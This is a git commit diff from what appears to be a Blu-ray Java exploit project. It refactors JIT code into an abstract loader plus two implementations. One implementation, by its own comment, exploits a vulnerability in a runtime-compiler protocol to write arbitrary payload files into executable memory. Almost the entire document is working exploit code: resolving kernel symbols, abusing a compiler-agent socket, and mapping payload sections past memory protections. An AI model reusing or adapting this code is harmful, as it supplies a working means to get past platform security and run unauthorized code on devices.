Restructure JIT code and add default implementation.

This commit is contained in:
Andy Nguyen 2021-11-13 15:50:37 +01:00
parent 077b002273
commit f480a063ab
4 changed files with 285 additions and 97 deletions

View File

@ -8,7 +8,6 @@ TOOLS = tools
CLASSES = \
$(SRC)/com/bdjb/ExploitXlet.java \
$(SRC)/com/bdjb/Exploit.java \
$(SRC)/com/bdjb/JIT.java \
$(SRC)/com/bdjb/Screen.java \
$(SRC)/com/bdjb/api/API.java \
$(SRC)/com/bdjb/api/Buffer.java \
@ -21,6 +20,9 @@ CLASSES = \
$(SRC)/com/bdjb/api/UnsafeInterface.java \
$(SRC)/com/bdjb/api/UnsafeJdkImpl.java \
$(SRC)/com/bdjb/api/UnsafeSunImpl.java \
$(SRC)/com/bdjb/jit/AbstractJit.java \
$(SRC)/com/bdjb/jit/JitDefaultImpl.java \
$(SRC)/com/bdjb/jit/JitCompilerReceiverImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java \
$(SRC)/com/bdjb/exploit/sandbox/ExploitUserPrefsImpl.java \

View File

@ -0,0 +1,114 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.jit;
import com.bdjb.api.API;
import java.io.RandomAccessFile;
abstract class AbstractJit {
public static final int PROT_NONE = 0x0;
public static final int PROT_READ = 0x1;
public static final int PROT_WRITE = 0x2;
public static final int PROT_EXEC = 0x4;
public static final int MAP_SHARED = 0x1;
public static final int MAP_PRIVATE = 0x2;
public static final int MAP_FIXED = 0x10;
public static final int MAP_ANONYMOUS = 0x1000;
public static final long MAP_FAILED = -1;
public static final int PAGE_SIZE = 0x4000;
public static final int ALIGNMENT = 0x100000;
protected static final int CHUNK_SIZE = 0x30;
protected static final API api;
private static final String MMAP_SYMBOL = "mmap";
static {
try {
api = API.getInstance();
} catch (Exception e) {
throw new ExceptionInInitializerError(e);
}
}
protected long mmap;
protected AbstractJit() {
mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL);
if (mmap == 0) {
throw new InternalError("symbols not found");
}
}
protected long mmap(long addr, long len, int prot, int flags, int fd, long offset) {
return api.call(mmap, addr, len, prot, flags, fd, offset);
}
protected long align(long x, long align) {
return (x + align - 1) & ~(align - 1);
}
protected abstract long jitMap(long size, long alignment);
protected abstract void jitCopy(long dest, byte[] src, long n);
public long mapPayload(String path, long dataSectionOffset) throws Exception {
RandomAccessFile file = new RandomAccessFile(path, "r");
if ((dataSectionOffset & (PAGE_SIZE - 1)) != 0) {
throw new IllegalArgumentException("unaligned data section offset");
}
if (dataSectionOffset < 0 || dataSectionOffset > file.length()) {
throw new IllegalArgumentException("invalid data section offset");
}
// Allocate JIT memory.
long address = jitMap(file.length(), ALIGNMENT);
byte[] chunk = new byte[CHUNK_SIZE];
// Copy .text section.
for (long i = 0; i < dataSectionOffset; i += chunk.length) {
api.memset(chunk, 0, chunk.length);
file.seek(i);
int read = file.read(chunk, 0, (int) Math.min(dataSectionOffset - i, chunk.length));
jitCopy(address + i, chunk, read);
}
// Map the .data section as RW.
if (mmap(
address + dataSectionOffset,
align(file.length() - dataSectionOffset, PAGE_SIZE),
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS,
-1,
0)
== MAP_FAILED) {
throw new InternalError("mmap failed");
}
// Copy .data section.
for (long i = dataSectionOffset; i < file.length(); i += chunk.length) {
api.memset(chunk, 0, chunk.length);
file.seek(i);
int read = file.read(chunk, 0, (int) Math.min(file.length() - i, chunk.length));
api.memcpy(address + i, chunk, read);
}
return address;
}
}

View File

@ -5,37 +5,20 @@
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb;
package com.bdjb.jit;
import com.bdjb.api.API;
import com.bdjb.api.Buffer;
import com.bdjb.api.Int8;
import com.bdjb.api.Text;
import java.io.RandomAccessFile;
/**
* JIT class that exploits a vulnerability in the runtime-compiler protocol to map payloads to
* JIT implementation that exploits a vulnerability in the runtime-compiler protocol to copy data to
* executable memory.
*/
public final class JIT {
public static final int PROT_NONE = 0x0;
public static final int PROT_READ = 0x1;
public static final int PROT_WRITE = 0x2;
public static final int PROT_EXEC = 0x4;
public static final int MAP_SHARED = 0x1;
public static final int MAP_PRIVATE = 0x2;
public static final int MAP_FIXED = 0x10;
public static final int MAP_ANONYMOUS = 0x1000;
public static final long MAP_FAILED = -1;
public final class JitCompilerReceiverImpl extends AbstractJit {
// We actually have 32MB of code memory, but reserve 8MB for Java JIT.
public static final int MAX_CODE_SIZE = 24 * 1024 * 1024;
public static final int PAGE_SIZE = 0x4000;
public static final int ALIGNMENT = 0x100000;
private static final int CHUNK_SIZE = 0x30;
private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160;
@ -51,33 +34,28 @@ public final class JIT {
(byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41
};
private static final int BDJ_MODULE_HANDLE = 0;
private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo";
private static final String MMAP_SYMBOL = "mmap";
private static final String WRITE_SYMBOL = "write";
private static final String READ_SYMBOL = "read";
private static final int BDJ_MODULE_HANDLE = 0;
private static JIT instance;
private final API api;
private static JitCompilerReceiverImpl instance;
private long sceKernelGetModuleInfo;
private long mmap;
private long read;
private long write;
private long BufferBlob__create;
private int compilerAgentSocket;
private JIT() throws Exception {
this.api = API.getInstance();
private JitCompilerReceiverImpl() {
this.init();
}
public static synchronized JIT getInstance() throws Exception {
public static synchronized JitCompilerReceiverImpl getInstance() {
if (instance == null) {
instance = new JIT();
instance = new JitCompilerReceiverImpl();
}
return instance;
}
@ -90,7 +68,6 @@ public final class JIT {
private void initSymbols() {
sceKernelGetModuleInfo =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL);
mmap = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, MMAP_SYMBOL);
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
@ -103,7 +80,7 @@ public final class JIT {
Buffer modinfo = new Buffer(SCE_KERNEL_MODULE_INFO_SIZE);
modinfo.fill((byte) 0);
modinfo.putLong(0x00, SCE_KERNEL_MODULE_INFO_SIZE);
if (api.call(sceKernelGetModuleInfo, BDJ_MODULE_HANDLE, modinfo.address()) != 0) {
if (sceKernelGetModuleInfo(BDJ_MODULE_HANDLE, modinfo) != 0) {
throw new InternalError("sceKernelGetModuleInfo failed");
}
@ -137,16 +114,28 @@ public final class JIT {
api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7);
}
private long align(long x, long align) {
return (x + align - 1) & ~(align - 1);
int sceKernelGetModuleInfo(int modid, Buffer info) {
return (int) api.call(sceKernelGetModuleInfo, modid, info != null ? info.address() : 0);
}
public long jitMap(long size, long alignment) {
long write(int fd, Buffer buf, long nbytes) {
return api.call(write, fd, buf != null ? buf.address() : 0, nbytes);
}
long read(int fd, Buffer buf, long nbytes) {
return api.call(read, fd, buf != null ? buf.address() : 0, nbytes);
}
long BufferBlob__create(Text name, int buffer_size) {
return api.call(BufferBlob__create, name != null ? name.address() : 0, buffer_size);
}
protected long jitMap(long size, long alignment) {
if (size >= MAX_CODE_SIZE) {
throw new IllegalArgumentException("size too big");
}
Text name = new Text("jit");
long blob = api.call(BufferBlob__create, name.address(), size + 0x88 + alignment - 1);
long blob =
BufferBlob__create(new Text("jit"), (int) (align(size + 0x88 + alignment - 1, PAGE_SIZE)));
if (blob == 0) {
throw new OutOfMemoryError("BufferBlob__create failed");
}
@ -154,80 +143,32 @@ public final class JIT {
return align(code, alignment);
}
public void jitCopy(long dest, byte[] src, long n) {
protected void jitCopy(long dest, byte[] src, long n) {
Buffer req = new Buffer(COMPILER_AGENT_REQUEST_SIZE);
Int8 resp = new Int8();
byte[] chunk = new byte[CHUNK_SIZE];
for (long i = 0; i < n; i += CHUNK_SIZE) {
api.memset(chunk, 0, CHUNK_SIZE);
for (long i = 0; i < n; i += chunk.length) {
api.memset(chunk, 0, chunk.length);
System.arraycopy(src, (int) i, chunk, 0, (int) Math.min(n - i, CHUNK_SIZE));
System.arraycopy(src, (int) i, chunk, 0, (int) Math.min(n - i, chunk.length));
req.fill((byte) 0);
req.put(0x00, chunk);
req.putLong(0x38, dest + i - 0x28);
api.call(write, compilerAgentSocket, req.address(), req.size());
if (write(compilerAgentSocket, req, req.size()) != req.size()) {
throw new InternalError("write failed");
}
resp.set((byte) 0);
api.call(read, compilerAgentSocket, resp.address(), resp.size());
if (read(compilerAgentSocket, resp, resp.size()) != resp.size()) {
throw new InternalError("read failed");
}
if (resp.get() != ACK_MAGIC_NUMBER) {
throw new AssertionError("wrong compiler response");
}
}
}
public long mapPayload(String path, long dataSectionOffset) throws Exception {
RandomAccessFile file = new RandomAccessFile(path, "r");
if ((dataSectionOffset & (PAGE_SIZE - 1)) != 0) {
throw new IllegalArgumentException("unaligned data section offset");
}
if (dataSectionOffset < 0 || dataSectionOffset > file.length()) {
throw new IllegalArgumentException("invalid data section offset");
}
// Allocate JIT memory.
long address = jitMap(file.length(), ALIGNMENT);
byte[] chunk = new byte[CHUNK_SIZE];
// Copy .text section.
for (long i = 0; i < dataSectionOffset; i += CHUNK_SIZE) {
api.memset(chunk, 0, CHUNK_SIZE);
file.seek(i);
int read = file.read(chunk, 0, (int) Math.min(dataSectionOffset - i, CHUNK_SIZE));
jitCopy(address + i, chunk, read);
}
// Map the .data section as RW.
if (api.call(
mmap,
address + dataSectionOffset,
align(file.length() - dataSectionOffset, PAGE_SIZE),
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS,
-1,
0)
== MAP_FAILED) {
throw new InternalError("mmap failed");
}
// Copy .data section.
for (long i = dataSectionOffset; i < file.length(); i += CHUNK_SIZE) {
api.memset(chunk, 0, CHUNK_SIZE);
file.seek(i);
int read = file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE));
api.memcpy(address + i, chunk, read);
}
return address;
}
}

View File

@ -0,0 +1,131 @@
/*
* Copyright (C) 2021 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.jit;
import com.bdjb.api.API;
import com.bdjb.api.Buffer;
import com.bdjb.api.Int32;
import com.bdjb.api.Int64;
import com.bdjb.api.Text;
/** Default JIT implementation using SCE API. */
public final class JitDefaultImpl extends AbstractJit {
private static final String SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL =
"sceKernelJitCreateSharedMemory";
private static final String SCE_KERNEL_JIT_CREATE_ALIAS_OF_SHARED_MEMORY_SYMBOL =
"sceKernelJitCreateAliasOfSharedMemory";
private static final String SCE_KERNEL_JIT_MAP_SHARED_MEMORY_SYMBOL =
"sceKernelJitMapSharedMemory";
private static JitDefaultImpl instance;
private long sceKernelJitCreateSharedMemory;
private long sceKernelJitCreateAliasOfSharedMemory;
private long sceKernelJitMapSharedMemory;
private Int32 sharedHandle = new Int32();
private Int32 aliasHandle = new Int32();
private long rx;
private long rw;
private JitDefaultImpl() {
sceKernelJitCreateSharedMemory =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_SHARED_MEMORY_SYMBOL);
sceKernelJitCreateAliasOfSharedMemory =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_CREATE_ALIAS_OF_SHARED_MEMORY_SYMBOL);
sceKernelJitMapSharedMemory =
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_JIT_MAP_SHARED_MEMORY_SYMBOL);
if (sceKernelJitCreateSharedMemory == 0
|| sceKernelJitCreateAliasOfSharedMemory == 0
|| sceKernelJitMapSharedMemory == 0) {
throw new InternalError("symbols not found");
}
}
public static synchronized JitDefaultImpl getInstance() {
if (instance == null) {
instance = new JitDefaultImpl();
}
return instance;
}
int sceKernelJitCreateSharedMemory(Text name, long len, int maxProt, Int32 fdOut) {
return (int)
api.call(
sceKernelJitCreateSharedMemory,
name.address(),
len,
maxProt,
fdOut != null ? fdOut.address() : 0);
}
int sceKernelJitCreateAliasOfSharedMemory(int fd, int maxProt, Int32 fdOut) {
return (int)
api.call(
sceKernelJitCreateAliasOfSharedMemory,
fd,
maxProt,
fdOut != null ? fdOut.address() : 0);
}
int sceKernelJitMapSharedMemory(int fd, int prot, Int64 startOut) {
return (int)
api.call(sceKernelJitMapSharedMemory, fd, prot, startOut != null ? startOut.address() : 0);
}
protected long jitMap(long size, long alignment) {
if (sceKernelJitCreateSharedMemory(
new Text("jit"),
align(size + alignment - 1, PAGE_SIZE),
PROT_READ | PROT_WRITE | PROT_EXEC,
sharedHandle)
< 0) {
throw new InternalError("sceKernelJitCreateSharedMemory failed");
}
if (sceKernelJitCreateAliasOfSharedMemory(
sharedHandle.get(), PROT_READ | PROT_WRITE, aliasHandle)
< 0) {
throw new InternalError("sceKernelJitCreateAliasOfSharedMemory failed");
}
if ((rx =
mmap(
0,
align(size + alignment - 1, PAGE_SIZE),
PROT_READ | PROT_EXEC,
MAP_SHARED,
sharedHandle.get(),
0))
== MAP_FAILED) {
throw new InternalError("mmap failed");
}
rx = align(rx, alignment);
if ((rw =
mmap(
0,
align(size + alignment - 1, PAGE_SIZE),
PROT_READ | PROT_WRITE,
MAP_SHARED,
aliasHandle.get(),
0))
== MAP_FAILED) {
throw new InternalError("mmap failed");
}
rw = align(rw, alignment);
return rx;
}
protected void jitCopy(long dest, byte[] src, long n) {
api.memcpy(dest - rx + rw, src, n);
}
}